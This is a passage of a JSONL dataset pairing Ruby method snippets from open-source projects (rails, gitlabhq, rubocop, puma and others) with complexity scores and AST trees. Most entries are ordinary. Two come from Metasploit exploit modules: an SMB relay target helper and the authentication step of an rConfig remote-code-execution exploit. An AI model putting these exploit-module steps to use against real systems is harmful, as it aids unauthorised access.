end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pundit_reset!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pundit\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_pundit_policies\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_pundit_policy_scopes\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_pundit_policy_authorized\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_pundit_policy_scoped\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"8f26dc23-0282-45ac-b6d8-51363196d4b8"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/multiple_comparison.rb","start_line":144,"raw_source":"def root_of_or_node(or_node)\n return or_node unless or_node.parent\n\n if or_node.parent.or_type?\n root_of_or_node(or_node.parent)\n else\n or_node\n end\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"root_of_or_node\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"or_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"or_node\"]},\"parent\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"or_node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"or_node\"]},\"parent\"]},\"or_type?\"]},{\"type\":\"send\",\"children\":[null,\"root_of_or_node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"or_node\"]},\"parent\"]}]},{\"type\":\"lvar\",\"children\":[\"or_node\"]}]}]}]}","id":"9d3a9e8a-97d7-4a9a-b529-1ac0bfc14f39"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/hash_with_indifferent_access_test.rb","start_line":53,"raw_source":"def test_symbolize_keys_for_hash_with_indifferent_access\n assert_instance_of Hash, @symbols.with_indifferent_access.symbolize_keys\n assert_equal @symbols, @symbols.with_indifferent_access.symbolize_keys\n assert_equal @symbols, @strings.with_indifferent_access.symbolize_keys\n assert_equal @symbols, @mixed.with_indifferent_access.symbolize_keys\n end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_symbolize_keys_for_hash_with_indifferent_access\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@symbols\"]},\"with_indifferent_access\"]},\"symbolize_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@symbols\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@symbols\"]},\"with_indifferent_access\"]},\"symbolize_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@symbols\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@strings\"]},\"with_indifferent_access\"]},\"symbolize_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@symbols\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mixed\"]},\"with_indifferent_access\"]},\"symbolize_keys\"]}]}]}]}","id":"ff9731b8-28de-489a-a0f9-ad96a587b5ac"} {"repo_name":"forem","file_path":"./repos/forem/db/migrate/20161013195522_add_colors_to_orgs.rb","start_line":2,"raw_source":"def change\n add_column :organizations, :bg_color_hex, :string\n add_column :organizations, :text_color_hex, :string\n\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"organizations\"]},{\"type\":\"sym\",\"children\":[\"bg_color_hex\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"organizations\"]},{\"type\":\"sym\",\"children\":[\"text_color_hex\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]}]}","id":"6476e350-dc73-49f9-bf5c-6c8791cdef25"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/asset_tag_import.rb","start_line":23,"raw_source":"def self.upload(klass, fd)\n klass = Object.const_get(klass.to_s)\n raise _(\"%{name} not supported for upload!\") % {:name => klass} unless REQUIRED_COLS.key?(klass)\n raise _(\"%{name} not supported for upload!\") % {:name => klass} unless MATCH_KEYS.key?(klass)\n\n data, keys, tags = MiqBulkImport.upload(fd, REQUIRED_COLS[klass], MATCH_KEYS[klass].dup)\n\n import = new(:data => data, :keys => keys, :tags => tags, :klass => klass)\n import.verify\n import\n end","complexity_score":26.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"upload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"const_get\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REQUIRED_COLS\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{name} not supported for upload!\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MATCH_KEYS\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{name} not supported for upload!\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\"]},{\"type\":\"lvasgn\",\"children\":[\"keys\"]},{\"type\":\"lvasgn\",\"children\":[\"tags\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqBulkImport\"]},\"upload\",{\"type\":\"lvar\",\"children\":[\"fd\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REQUIRED_COLS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MATCH_KEYS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},\"dup\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"import\",{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keys\"]},{\"type\":\"lvar\",\"children\":[\"keys\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"verify\"]},{\"type\":\"lvar\",\"children\":[\"import\"]}]}]}","id":"8890bd8e-26c5-4180-847a-740fe0b8c600"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/delete_all_test.rb","start_line":69,"raw_source":"def test_delete_all_with_group_by_and_having\n minimum_comments_count = 2\n posts_to_be_deleted = Post.most_commented(minimum_comments_count).all.to_a\n assert_operator posts_to_be_deleted.length, :>, 0\n\n assert_difference(\"Post.count\", -posts_to_be_deleted.length) do\n Post.most_commented(minimum_comments_count).delete_all\n end\n\n posts_to_be_deleted.each do |deleted_post|\n assert_raise(ActiveRecord::RecordNotFound) { deleted_post.reload }\n end\n end","complexity_score":20.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_delete_all_with_group_by_and_having\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"minimum_comments_count\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"lvasgn\",\"children\":[\"posts_to_be_deleted\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"most_commented\",{\"type\":\"lvar\",\"children\":[\"minimum_comments_count\"]}]},\"all\"]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts_to_be_deleted\"]},\"length\"]},{\"type\":\"sym\",\"children\":[\">\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_difference\",{\"type\":\"str\",\"children\":[\"Post.count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts_to_be_deleted\"]},\"length\"]},\"-@\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"most_commented\",{\"type\":\"lvar\",\"children\":[\"minimum_comments_count\"]}]},\"delete_all\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts_to_be_deleted\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"deleted_post\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_post\"]},\"reload\"]}]}]}]}]}","id":"aa177748-a696-4c89-af52-aa364c4e4081"} {"repo_name":"puma","file_path":"./repos/puma/test/config/custom_logger.rb","start_line":6,"raw_source":"def write(msg)\n @output.puts 'Custom logging: ' + msg\n @output.flush\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Custom logging: \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output\"]},\"flush\"]}]}]}","id":"e2475a9b-53d1-4bfb-9242-55cb00b7929c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gfm/reference_rewriter.rb","start_line":93,"raw_source":"def find_referable(reference)\n extractor = Gitlab::ReferenceExtractor.new(source_parent_param[:project], @current_user)\n extractor.analyze(reference, **source_parent_param)\n extractor.all.first\n end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_referable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reference\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extractor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ReferenceExtractor\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_parent_param\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extractor\"]},\"analyze\",{\"type\":\"lvar\",\"children\":[\"reference\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_parent_param\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extractor\"]},\"all\"]},\"first\"]}]}]}","id":"9804b134-26c4-4dac-83a8-b8ee0950af55"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smb/smb_relay.rb","start_line":213,"raw_source":"def relay_targets\n Msf::Exploit::Remote::SMB::Relay::TargetList.new(\n :smb,\n rport,\n datastore['RHOSTS'],\n randomize_targets: datastore['RANDOMIZE_TARGETS']\n )\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"relay_targets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"SMB\"]},\"Relay\"]},\"TargetList\"]},\"new\",{\"type\":\"sym\",\"children\":[\"smb\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOSTS\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"randomize_targets\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RANDOMIZE_TARGETS\"]}]}]}]}]}]}","id":"1af9a4a5-ce45-4882-a3cb-d9777dd36035"} {"repo_name":"puma","file_path":"./repos/puma/lib/puma/runner.rb","start_line":43,"raw_source":"def test?\n @options[:environment] == \"test\"\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"environment\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"test\"]}]}]}","id":"1b010feb-703a-422f-a925-566eecae45f6"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations_test.rb","start_line":394,"raw_source":"def test_strict_validation_custom_exception\n Topic.validates_presence_of :title, strict: CustomStrictValidationException\n assert_raises CustomStrictValidationException do\n Topic.new.valid?\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_strict_validation_custom_exception\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_presence_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"strict\"]},{\"type\":\"const\",\"children\":[null,\"CustomStrictValidationException\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"CustomStrictValidationException\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\"]},\"valid?\"]}]}]}]}","id":"67ff5e7e-dfd3-4244-bebe-7476bf28f11c"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/forbidden_attributes_protection_test.rb","start_line":28,"raw_source":"def test_forbidden_attributes_cannot_be_used_for_sti_inheritance_column\n params = ProtectedParams.new(type: \"Client\")\n assert_raises(ActiveModel::ForbiddenAttributesError) do\n Company.new(params)\n end\n end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_forbidden_attributes_cannot_be_used_for_sti_inheritance_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProtectedParams\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Client\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"ForbiddenAttributesError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}","id":"422e4a45-0b57-4c2c-a30a-d059849c9b6b"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/authentication/omniauth_service.rb","start_line":250,"raw_source":"def activatable?\n user.new_record? || user.invited? || user.registered?\n end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"activatable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"new_record?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"invited?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"registered?\"]}]}]}","id":"fd6e07b8-107a-40a1-9e88-9a772b854065"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/post_merger.rb","start_line":50,"raw_source":"def ensure_same_user!\n if @posts.map(&:user_id).uniq.size != 1\n raise CannotMergeError.new(I18n.t(\"merge_posts.errors.different_users\"))\n end\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_same_user!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@posts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},\"uniq\"]},\"size\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CannotMergeError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"merge_posts.errors.different_users\"]}]}]}]},null]}]}","id":"e7736429-c24a-4816-bb27-21f8ab0ad8c5"} {"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/normalized_has_one_test.rb","start_line":101,"raw_source":"def test_fetching_association_should_delegate_to_normal_association_fetcher_if_normal_association_is_loaded\n # Warm the ActiveRecord association\n @record.associated\n\n assert_memcache_operations(0) do\n assert_equal(@baz, @record.fetch_associated)\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetching_association_should_delegate_to_normal_association_fetcher_if_normal_association_is_loaded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"associated\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_memcache_operations\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@baz\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"fetch_associated\"]}]}]}]}]}","id":"526a9008-c999-444f-95d4-3856b59b2bdc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/system_check/app/git_user_default_ssh_config_check_spec.rb","start_line":106,"raw_source":"def stub_ssh_file(filename)\n FileUtils.mkdir_p(ssh_dir)\n FileUtils.touch(File.join(ssh_dir, filename))\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_ssh_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[null,\"ssh_dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"touch\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"ssh_dir\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}","id":"2be0f7e3-bf30-4687-93d6-ba145e7c7269"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/rconfig_ajaxarchivefiles_rce.rb","start_line":115,"raw_source":"def login(user, pass)\n vprint_status \"STEP 2: Authenticating as #{user} ...\"\n # get session cookie (PHPSESSID)\n res = send_request_cgi!(\n 'method' => 'GET',\n 'uri' => '/login.php'\n )\n @cookie = res.get_cookies\n if @cookie.empty?\n fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'\n return\n end\n # authenticate\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, '/lib/crud/userprocess.php'),\n 'cookie' => @cookie,\n 'vars_post' => {\n pass: pass,\n user: user,\n sublogin: 1\n }\n )\n unless res\n print_warning('Failed to authenticate: Connection failed.')\n return\n end\n print_good \"Authenticated as user #{user}\"\n end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"STEP 2: Authenticating as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/login.php\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cookie\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cookie\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to retrieve cookies\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/lib/crud/userprocess.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pass\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sublogin\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Failed to authenticate: Connection failed.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authenticated as user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}","id":"6c5503d7-1da3-4f45-8799-dd39ca7c60bc"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/offense_count_formatter.rb","start_line":42,"raw_source":"def file_finished(_file, offenses)\n offenses.each { |o| @offense_counts[o.cop_name] += 1 }\n if options[:display_style_guide]\n offenses.each { |o| @style_guide_links[o.cop_name] ||= o.message[/ \\(http\\S+\\)\\Z/] }\n end\n @offending_files_count += 1 unless offenses.empty?\n @progressbar.increment if instance_variable_defined?(:@progressbar)\n end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"file_finished\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_file\"]},{\"type\":\"arg\",\"children\":[\"offenses\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offenses\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offense_counts\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"cop_name\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"display_style_guide\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offenses\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@style_guide_links\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"cop_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"message\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\" 